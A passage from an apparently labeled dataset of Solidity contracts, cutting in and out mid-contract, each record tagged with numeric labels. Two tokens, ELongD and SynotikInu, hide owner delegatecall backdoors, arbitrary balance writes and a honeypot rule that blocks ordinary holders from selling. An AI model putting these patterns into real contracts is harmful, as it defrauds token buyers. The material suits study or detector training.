require(initialized, "Not initialized yet");
require(_value <= balances[msg.sender], "Not enough funds");
if (teamWallet == msg.sender && lockedUntil > now) {
revert("Tokens locked");
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(msg.sender != _spender, "Owner can not approve to himself");
require(initialized, "Not initialized yet");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Receiver address should be specified");
require(initialized, "Not initialized yet");
require(_value <= balances[_from], "Not enough funds");
require(_value <= allowed[_from][msg.sender], "Not enough allowance");
if (teamWallet == _from && lockedUntil > now) {
revert("Tokens locked");
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function mint(address _to, uint256 _amount) external {
address source = hotWallet;
require(msg.sender == source, "You are not allowed withdraw tokens");
withdraw(source, _to, _amount);
}
function withdraw(address _from, address _to, uint256 _amount) private {
require(_to != address(0), "Receiver address should be specified");
require(initialized, "Not initialized yet");
require(_amount > 0, "Amount should be more than zero");
require(_amount <= balances[_from], "Not enough funds");
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function withdrawFromReserveWallet(address _to, uint256 _amount) external {
address source = reserveWallet;
require(msg.sender == source, "You are not allowed withdraw tokens");
withdraw(source, _to, _amount);
}
function withdrawFromTeamWallet(address _to, uint256 _amount) external {
address source = teamWallet;
require(msg.sender == source, "You are not allowed withdraw tokens");
require(lockedUntil <= now, "Tokens locked");
withdraw(source, _to, _amount);
}
function withdrawFromAdvisersWallet(address _to, uint256 _amount) external {
address source = advisersWallet;
require(msg.sender == source, "You are not allowed withdraw tokens");
withdraw(source, _to, _amount);
}
} | 1 | 4,215 |
pragma solidity ^0.4.24;
interface ZethrBankroll {
function deposit() external payable;
}
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
interface TeamJustInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address constant private Jekyll_Island_Inc = address(0xb51d0DF324c513Cf07efD075Cc5bccA1D0F211Ab);
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
mapping(address => bool) devs;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
devs[msg.sender] = true;
}
modifier isHuman() {
require(msg.sender==tx.origin);
_;
}
modifier onlyDevs()
{
require(devs[msg.sender]);
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
Jekyll_Island_Inc.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,399 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ELongD is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 13378008500000000000000000000;
string public name = "Elongate Deluxe";
string public symbol = "ELongD";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,567 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SynotikInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 165 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract NetExchange is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function NetExchange() {
balances[msg.sender] = 900000000000000000000000000;
totalSupply = 900000000000000000000000000;
name = "NetExchange";
decimals = 18;
symbol = "NEX";
unitsOneEthCanBuy = 5000000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,246 |
pragma solidity ^0.4.24;
contract pandora {
address add1;
address add2;
address add3;
address add4;
address add5;
address add6;
address add7;
address add8;
address add9;
address add10;
function pandora() {
